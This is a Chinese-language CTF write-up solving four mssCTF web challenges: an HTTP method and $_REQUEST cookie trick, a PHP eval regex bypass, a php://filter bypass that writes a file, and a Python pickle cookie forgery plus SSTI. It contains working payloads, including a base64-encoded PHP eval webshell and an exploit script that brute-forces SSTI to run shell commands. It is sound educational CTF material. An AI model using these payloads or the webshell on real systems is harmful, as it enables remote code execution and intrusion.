畢業了報不了名,就問朋友要來了Web題自己在本地打了打,感覺比去年的Web簡單一些,記錄一下題解
HS.com
打開題目發現405,然后查看返回包可以看到Allowed-Request-Method: HS
將請求方式改為HS
再次請求得到源碼:
<?php
error_reporting(0);
$fake_data = $_GET['innerspace'];
$data = $_REQUEST['innerspace'];
if ($_SERVER['REQUEST_METHOD'] === "HS") {
if (isset($data)) {
if ($data === "mssctf" && $data !== $fake_data) {
include_once "flag.php";
echo $flag;
} else {
echo "My house is pretty big.";
}
} else {
highlight_file("index.php");
}
}
else {
header('HTTP/1.1 405 Something Goes Wrong');
header('Allowed-Request-Method: HS');
}
可以看到需要data
的值不等於fake_data
的值,然后發現兩個值的獲取方式不同:
$fake_data = $_GET['innerspace'];
$data = $_REQUEST['innerspace'];
這里需要提到的是$_REQUEST
的取值方法,默認為GPCS
意思是GET, POST, COOKIE, ENV and SERVER
,靠后請求方式傳的值會覆蓋前面請求方式傳來的值
但是需要注意的是這里我們將請求方式改為了HS
,無法通過POST方式傳遞POST數據,所以通過cookie向data傳值來覆蓋get方式傳的值:
最終構造HTTP請求包:
HS /index.php?innerspace=ye
......(省略)
Cookie: innerspace=mssctf
發送即可獲得flag
babyphp
打開題目得到源碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
$mss1 = $_POST['level1'];
$mss2 = $_POST['level2'];
$mss3 = $_POST['level3'];
if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022) {
$mss4 = file_get_contents($mss2,'r');
if ($mss4 === "mssCTF is interesting!") {
if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3)) {
echo "Regex is so wonderful!";
echo "<br/>";
eval($mss3);
}
else {
echo "Success is near!";
echo "<br/>";
}
}
else {
echo "Do you like PHP?";
echo "<br/>";
}
}
else {
echo "Level1 is a babe trick,try again!";
echo "<br/>";
}
Level1
第一層是一個簡單的Trick
if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022)
做法可以參考 WUSTCTF 朴實無華
除了科學記數法外,十六進制也是可以繞過的,構造:
level1=0x1024
Level2
第二層也是一個老操作了,data協議base64編碼即可讓file_get_contents()獲取到需要的值
構造:data://text/plain;base64,bXNzQ1RGIGlzIGludGVyZXN0aW5nIQ==
Level3
第三層有點繞,好像在哪里做過類似的題,認真看正則:
if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3))
過濾了數字以及很多符號,發現字母、_ 、(、)、;
沒有過濾
先構造一個system(ls);
看看目錄下文件:flag.php index.php
想要讀取flag.php但是.
被過濾掉了,這個時候有兩個思路:
1.對文件名進行編碼
2.利用一些函數構造出文件名
第一種思路由於數字被過濾所以無法實現,這時候就可以通過PHP函數來構造出函數名
構造出scandir(dirname(__FILE__))
可以將本目錄下所有的文件名存為數組:
接下來就是想辦法從數組中提取出flag.php
,但是過濾了數字便無法直接從數組中取值,這個時候想到了array_rand()
函數:
array_rand() 函數返回數組中的隨機鍵名,或者如果您規定函數返回不只一個鍵名,則返回包含隨機鍵名的數組。
需要注意的是該函數返回的是鍵名,也就是數字:
利用array_rand()函數我們可以構造出數字,接下來構造出文件名:
print(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
多請求幾次就可以得到我們的flag文件(原題是flag.php,這里本地搭建的直接起名flag,不過還是按照原題來分析)
最后再利用readfile()
函數獲取到文件內容,構造出:
level3=readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
多請求幾次就能得到flag.php的內容
最后的Payload:
level1=0x1024&level2=data://text/plain;base64,bXNzQ1RGIGlzIGludGVyZXN0aW5nIQ==&level3=readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
easy include
進入題目得到源碼:
<?php
error_reporting(0);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_POST['c'];
if(!isset($b)){
highlight_file(__FILE__);
}
function check_out($x){
str_replace("data","???",$x);
str_replace("zip","???",$x);
str_replace("zlib","???",$x);
str_replace("file","???",$x);
str_replace("rot13","???",$x);
}
if($array[++$a]=1){
if($array[]=1){
echo "Come on!";
}else{
echo "Good,you have already solve the first problem";
check_out($b);
file_put_contents($b,"<?php die('Victory is in sight');?>".$c);
}
}
?>
PHP數組key溢出
首先需要繞過的就是這里:
if($array[++$a]=1){
if($array[]=1){
查閱文檔可以看到:
語法“index => values”,用逗號分開,定義了索引和值。索引可以是字符串或數字。如果省略了索引,會自動產生從 0 開始的整數索引。如果索引是整數,則下一個產生的索引將是目前最大的整數索引 + 1。注意如果定義了兩個完全一樣的索引,則后面一個會覆蓋前一個。
在NEWSCTF中就出現了PHP數組key溢出的Trick,原理就是當key等於PHP int類型數據的最大值時,想要再插入一個更大的值便會造成溢出導致出現Warning,關於PHP int類型數據最大值的參考文獻如下:
PHP的int型數據取值范圍,與操作系統相關,32位系統上為2的31次方,即-2147483648到2147483647,64位系統上為2的63次方,即-9223372036854775808到9223372036854775807。
因此構造a=9223372036854775806
即可繞過第一層
繞過死亡exit
進入第二層:
echo "Good,you have already solve the first problem";
check_out($b);
file_put_contents($b,"<?php die('Victory is in sight');?>".$c);
可以看到check_out()
函數會將data、zip、zlib、file、rot13
替換為???
,然后會在我們寫入的文件內容前拼接上<?php die('Victory is in sight');?>
繞過死亡exit可以參考P神的文章談一談php://filter的妙用
還可以參考:ctf 死亡exit繞過
然后我們可以構造出:
a=9223372036854775806&b=php://filter/write=convert.base64-decode/resource=1.php
POST數據:c=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ //解碼內容為<?php eval($_POST[1]);?>
這里需要說明的是在payload前補足兩個a的原因:
base64只能識別64個字符a-z0-9A-Z+],並且解碼以4byte一組,所以
<?php die('Victory is in sight');?>
會識別為phpdieVictoryisinsight
,共計22個字符,我們補足兩個a就可以湊夠24byte(6組)來湊夠base64編碼數
發送請求后打開1.php可以看到die已經被解碼不見:
蟻劍連接1.php,密碼為1,即可看到Flag:
fake_site
Python pickle反序列化+SSTI,這道題由於無法本地部署所以一直在等復現環境,更新的慢了一些
進入題目在主頁源碼中發現備注:
<!-- TODO:
1. login page
2. register page
3. forum page
4. emmmm... I want to play MonsterHunter...
5. Hs loves Hanser
-->
挨個測試后發現只有/login
可以訪問,嘗試登陸后發現會出現:
同時用戶名和密碼只允許輸入4-16位的數字和字母,因而不存在SQL注入
這個時候看到了Hint:Do u know what is unserialize?
一開始的思路是認為是PHP反序列化,進而想到可能存在源碼泄漏,因為只有通過審計代碼才能確定pop鏈以及漏洞利用點,但是測了一下常見的源碼泄漏文件名發現並沒有源碼泄漏
之后F12的時候發現Cookie命名是HSession
,也就是說Cookie是開發者自己定義的,感覺可能找到了突破點,讀取Cookie如下:
HSession: gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg%3D%3D
最后是有兩個URL編碼的,解碼后得到:
HSession: gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg==
但是直接解碼卻會得到很多不可見字符:
這個時候感覺可能不是PHP反序列化了,因為PHP反序列化不會出現大量的不可見字符,先用Python寫個解碼腳本看一下:
import base64
cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
print(us) # \x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x08username\x94\x8c\x04test\x94\x8c\x05admin\x94\x89u
之后跟出題人交流了一下才知道是Python反序列化,繼續寫腳本來反序列化解碼得到的內容:
import base64
import pickle
cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
#print(us)
s = pickle.loads(us)
print(s)
運行后得到:{'username': 'test', 'admin': False}
,test
是我登錄時輸入的用戶名,而序列化字段中還有一個admin字段為Flase,我們重新構造一下:{'username': 'test', 'admin': True}
然后寫一個腳本對其進行序列化,然后再進行base64編碼:
import base64
import pickle
cookie = {'username': 'test', 'admin': True}
s = pickle.dumps(cookie)
result = base64.b64encode(s)
print(result)
得到cookiegASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIh1Lg==
然后用得到的cookie替換原來的HSession再次訪問/profile
:
用戶名被直接輸出,猜測可能是ssti,修改用戶名為{2*2}
再次構造訪問發現2*2
被執行,fuzz一下發現過濾了. + ' os class flag system
等字符,一個簡單的bypass就不過多贅述了,直接附上官方wp給的exp:
from base64 import b64decode as bd
from base64 import b64encode as be
from urllib import parse
import pickle
import requests
import time
#url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "profile"
url = "http://127.0.0.1:5000/profile"
while True:
code = input("\033[1;34m[^_^] > \033[0m")
if code == "BRUTE":
for i in range(0, 200):
print("@ ",i)
pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\"o\"\"s\")")["popen"]("echo hsyyds")["read"]()}}'
user = {"username": pcode, "admin": True}
headers = {
"Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
}
response = requests.get(url=url, headers=headers)
if "500" in response.text:
print("\033[1;31m[x_x] @", i, " is not correct.\033[0m")
if "hsyyds" in response.text:
print("\033[1;33m[@_@] Probably find flag.\033[0m")
print("\033[1;33m", response.text, "\033[0m")
break
time.sleep(0.2)
else:
user = {"username": "{{"+code+"}}", "admin": True}
headers = {
"Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
}
response = requests.get(url=url, headers=headers)
if "500 Internal Server Error" in response:
print("\033[1;31m[x_x] Execute Error.\033[0m")
else:
print(response.text)